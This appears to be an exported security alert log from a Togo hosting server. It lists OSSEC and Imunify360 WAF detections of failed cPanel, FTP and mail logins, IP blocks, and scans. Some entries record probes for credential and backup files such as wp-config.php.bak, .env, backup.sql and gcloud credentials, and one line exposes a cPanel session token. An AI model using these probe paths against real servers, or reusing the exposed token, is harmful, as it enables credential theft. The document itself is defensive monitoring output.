# incident

plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.199.24
country_id: 1880251
description:
Jun 13 02:08:44 ns5 pure-ftpd[2047589]: (?@47.84.199.24) [WARNING] Authentication failed for user [Turbolte]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.0.189.231
country_id: 3469034
description:
Jun 13 02:09:33 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.0.189.231 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-13 02:13:23 +0000] info [whostmgrd] 45.198.224.5 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-13 02:13:22 +0000] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.8.227
country_id: 3469034
description:
Jun 13 02:13:24 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.8.227 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 13 02:15:40 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-13 02:15:42 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:59329: 535 Incorrect authentication data (set_id=anthony)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 197.43.193.138
country_id: 357994
description:
[2026-06-13 02:17:35 +0000] info [whostmgrd] 197.43.193.138 - apluser "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.34.197
country_id: 2395170
description:
Jun 13 02:17:57 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.34.197 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.119.99.90
country_id: 1831722
description:
[2026-06-13 02:18:58 +0000] info [cpaneld] 103.119.99.90 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.29.241.119
country_id: 248816
description:
[2026-06-13 02:21:15 +0000] info [cpaneld] 176.29.241.119 - tchambain "GET /login/?login_only=1&user=tchambain&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambain (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.117
country_id: 1880251
description:
47.128.122.117 - - [13/Jun/2026:02:20:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10001094&pdata=http%253A%252F%252Ftogodailynews.tg%252Ftransport-maritime-les-differents-types-dhelices-pour-les-navires%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781317252 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg/transport-maritime-les-differents-types-dhelices-pour-les-navires/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.117


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.106.133
country_id: 3469034
description:
Jun 13 02:20:56 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.106.133 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.109.82.144
country_id: 3469034
description:
[2026-06-13 02:21:00 +0000] info [cpaneld] 179.109.82.144 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.113.250.190
country_id: 2017370
description:
[2026-06-13 02:21:02 +0000] info [cpaneld] 37.113.250.190 - tchambainvest "GET /login/?login_only=1&user=tchambainvest&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambainvest (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.63.9.214
country_id: 290291
description:
[2026-06-13 02:21:07 +0000] info [cpaneld] 109.63.9.214 - tchambainves "GET /login/?login_only=1&user=tchambainves&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambainves (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 78.43.137.129
country_id: 2921044
description:
[2026-06-13 02:21:13 +0000] info [cpaneld] 78.43.137.129 - tchambainv "GET /login/?login_only=1&user=tchambainv&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambainv (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.6.36.145
country_id: 3469034
description:
[2026-06-13 02:21:27 +0000] info [cpaneld] 45.6.36.145 - tchamb "GET /login/?login_only=1&user=tchamb&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchamb (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.136.220.122
country_id: 3469034
description:
[2026-06-13 02:21:21 +0000] info [cpaneld] 177.136.220.122 - tchambai "GET /login/?login_only=1&user=tchambai&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambai (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.44.85.38
country_id: 3508796
description:
[2026-06-13 02:21:33 +0000] info [cpaneld] 38.44.85.38 - tcha "GET /login/?login_only=1&user=tcha&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tcha (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 190.114.239.53
country_id: 3865483
description:
190.114.239.53 - - [13/Jun/2026:02:22:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10315366&pdata=https%253A%252F%252Ftogodailynews.tg%252Finauguration-de-la-dorsale-optique-nationale-de-la-republique-centrafricaine-et-de-linterconnexion-avec-le-congo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781317338 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/inauguration-de-la-dorsale-optique-nationale-de-la-republique-centrafricaine-et-de-linterconnexion-avec-le-congo/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.8017.1798 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:190.114.239.53


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-13 02:24:10 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:35112: 535 Incorrect authentication data (set_id=test2)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.252.115
country_id: 3469034
description:
Jun 13 02:24:12 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.252.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 13 02:24:08 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.252.115
country_id: 3469034
description:
Jun 13 02:24:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.252.115 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.72
country_id: 1880251
description:
47.128.121.72 - - [13/Jun/2026:02:25:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6669975&pdata=http%253A%252F%252Ftogodailynews.tg%252Fvih-sida-une-feuille-de-route-au-togo-pour-une-meilleure-riposte%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781317535 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg/vih-sida-une-feuille-de-route-au-togo-pour-une-meilleure-riposte/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.72


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.250.215.200
country_id: 1668284
description:
Jun 13 02:25:51 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.250.215.200 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-13 02:25:53 +0000] info [whostmgrd] 45.198.224.5 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-13 02:25:52 +0000] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.114
country_id: 1880251
description:
47.128.122.114 - - [13/Jun/2026:02:26:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9725025&pdata=http%253A%252F%252Ftogodailynews.tg%252Ftextile-hausse-de-307-des-exportations-du-togo-en-2023%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781317606 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg/textile-hausse-de-307-des-exportations-du-togo-en-2023/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.114


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.161.20
country_id: 6252001
description:
Jun 13 02:27:10 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.161.20 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.41.130
country_id: 6290252
description:
Jun 13 02:26:48 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.41.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.91
country_id: 130758
description:
Jun 13 02:30:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.91 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.199.24
country_id: 1880251
description:
Jun 13 02:30:55 ns5 pure-ftpd[2059021]: (?@47.84.199.24) [WARNING] Authentication failed for user [Turbolte]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 13 02:32:52 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-13 02:32:54 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:15477: 535 Incorrect authentication data (set_id=ox-i)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.246.208.241
country_id: 290557
domain: www.lasnb.snb.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lasnb.snb.tg:80/css/animate.css HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.240.230.24
country_id: 2510769
domain: www.lasnb.snb.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lasnb.snb.tg:80/css/bootstrap.min.css HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.134.62.124
country_id: 1210997
domain: www.lasnb.snb.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lasnb.snb.tg:80/css/owl-carousel/owl.carousel.min.css HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.241.249.103
country_id: 3895114
domain: www.lasnb.snb.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lasnb.snb.tg:80/css/font-awesome.min.css HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.245.236.137
country_id: 2264397
domain: www.lasnb.snb.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lasnb.snb.tg:80/css/style.css HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.134.69.20
country_id: 3923057
domain: www.lasnb.snb.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lasnb.snb.tg:80/css/style2.css HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.4
country_id: 6252001
description:
205.169.39.4 - - [13/Jun/2026:02:39:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10053521&pdata=http%253A%252F%252Fin.crepsad.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781318388 HTTP/1.1" 302 0 in.crepsad.tg "http://in.crepsad.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.4


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 167.17.66.82
country_id: 6252001
description:
167.17.66.82 - - [13/Jun/2026:02:40:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184603&pdata=http%253A%252F%252Fns5.netmaster.tg%253A2082%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781318437 HTTP/1.1" 302 0 ns5.netmaster.tg "http://ns5.netmaster.tg:2082/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:167.17.66.82


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.205.54.122
country_id: 3625428
domain: auditeccandco.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/auditeccandco.com/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 13 02:41:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-13 02:41:30 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:40316: 535 Incorrect authentication data (set_id=takahiro)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 169.197.142.208
country_id: 6252001
description:
169.197.142.208 - - [13/Jun/2026:02:43:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9923227&pdata=http%253A%252F%252Fns5.netmaster.tg%253A2082%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781318632 HTTP/1.1" 302 0 ns5.netmaster.tg "http://ns5.netmaster.tg:2082/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:169.197.142.208


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-13 02:43:43 +0000] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.61.130.187
country_id: 6252001
description:
[2026-06-13 02:43:26 +0000] info [cpaneld] 45.61.130.187 - conseiller "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user conseiller (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-06-13 02:43:44 +0000] info [whostmgrd] 45.198.224.5 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 169.197.142.208
country_id: 6252001
description:
[2026-06-13 02:44:09 +0000] info [cpaneld] 169.197.142.208 NEW aopsacai:KB6zN3ZP5Nk25McX address=169.197.142.208,app=cpaneld,creator=aopsacai,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.63.213.7
country_id: 1562822
description:
2026-06-13 02:44:22 H=(localhost.localdomain) [103.63.213.7]:47804 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<info-jlob@danhgiasanpham.com> rejected RCPT <whiteway@white-ways.com>: The mail server could not deliver mail to whiteway@white-ways.com.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.208.204.132
country_id: 1643084
description:
[2026-06-13 02:48:36 +0000] info [cpaneld] 103.208.204.132 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77093094
abuser: 98.92.97.151
country_id: 6252001
domain: inscription.ucao-uut.tg
name:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)

description:


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.220.236.97
country_id: 1668284
domain: sp-eau.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:02-54.185.220.236.97||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.174.73.240
country_id: 798544
description:
Jun 13 02:54:40 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.174.73.240 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 102.64.223.5
country_id: 2363686
description:
102.64.223.5 - - [13/Jun/2026:02:55:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7194476&pdata=https%253A%252F%252Fwellcity.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781319346 HTTP/2.0" 302 0 wellcity.tg "https://www.yandex.tg/" "Mozilla/5.0 (Linux; Android 15; SM-S918U Build/AP3A.240905.015.A2; ) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/140.0.7339.119 Mobile Safari/537.36 MetaIAB" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.64.223.5


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.67
country_id: 130758
description:
Jun 13 02:56:50 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.67 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.91
country_id: 130758
description:
Jun 13 03:01:09 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.91 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.156.17.27
country_id: 1880251
description:
43.156.17.27 - - [13/Jun/2026:03:03:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6974361&pdata=http%253A%252F%252Flaunetogo.tg%252Ffetes-de-fin-dannee-attention-aux-dangers-des-exces-alimentaires%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781319791 HTTP/1.1" 302 0 launetogo.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.156.17.27


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.67
country_id: 130758
description:
Jun 13 03:03:47 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.67 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.8.25.40
country_id: 2750405
description:
45.8.25.40 - - [13/Jun/2026:03:05:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6789521&pdata=https%253A%252F%252Fdankpen1.mairie.tg%252Fcommuniques%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781319928 HTTP/2.0" 302 0 dankpen1.mairie.tg "https://dankpen1.mairie.tg/communiques/" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/W.X.Y.Z Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.8.25.40


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.129.64.154
country_id: 6252001
description:
2026-06-13 03:06:57 dovecot_plain authenticator failed for H=(c3r9r6pfzbdhj04jios0t6qg) [23.129.64.154]:58689: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 23.129.64.154
country_id: 6252001
description:
Jun 13 03:06:55 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 23.129.64.154 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.164.246.30
country_id: 1269750
description:
Jun 13 03:08:47 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.164.246.30 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.132
country_id: 1880251
description:
47.128.96.132 - - [13/Jun/2026:03:10:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9725076&pdata=https%253A%252F%252Fca-togo.org%252Fimp%252Fenglish%252Findex1.php%253FpageID%253D7&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781320246 HTTP/2.0" 302 0 ca-togo.org "https://ca-togo.org/imp/english/index1.php?pageID=7" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.132


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 34.52.218.107
country_id: 2802361
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.15||T:APACHE||MV:wp-config.php~||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 34.52.218.107
country_id: 2802361
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:grub-client-1.5.3; (grub-client-1.5.3; Crawl your own stuff with http://grub.org)||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/backup.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.52.218.107
country_id: 2802361
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/.config/gcloud/credentials.db||User:antasadmin||


plugin: modsec
rule: 77350212
name: IM360 WAF: Information Disclosure Attempt in WordPress
abuser: 34.52.218.107
country_id: 2802361
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Information Disclosure Attempt in WordPress||MV:/wp-config.php.bak||RSV:8.15||T:APACHE||REQUEST_URI:/wp-config.php.bak||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/bak.sql||User:antasadmin||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 34.104.205.240
country_id: 1861060
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.15||T:APACHE||MV:.env~||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/src.sql||User:antasadmin||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.104.205.240
country_id: 1861060
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.prod.bak||User:antasadmin||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 199.120.12.253
country_id: 6252001
description:
199.120.12.253 - - [13/Jun/2026:03:14:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9620076&pdata=https%253A%252F%252Fwww.arse.tg%252Farse%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781320488 HTTP/2.0" 302 0 www.arse.tg "https://www.arse.tg/arse/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:199.120.12.253


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.179.191.204
country_id: 2921044
domain: www.owa.antasertogo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/build.sql||User:antasadmin||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.32.155.121
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:03-15.193.32.155.121||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.89.75.167
country_id: 690791
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:03-15.45.89.75.167||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 152.232.72.88
country_id: 6251999
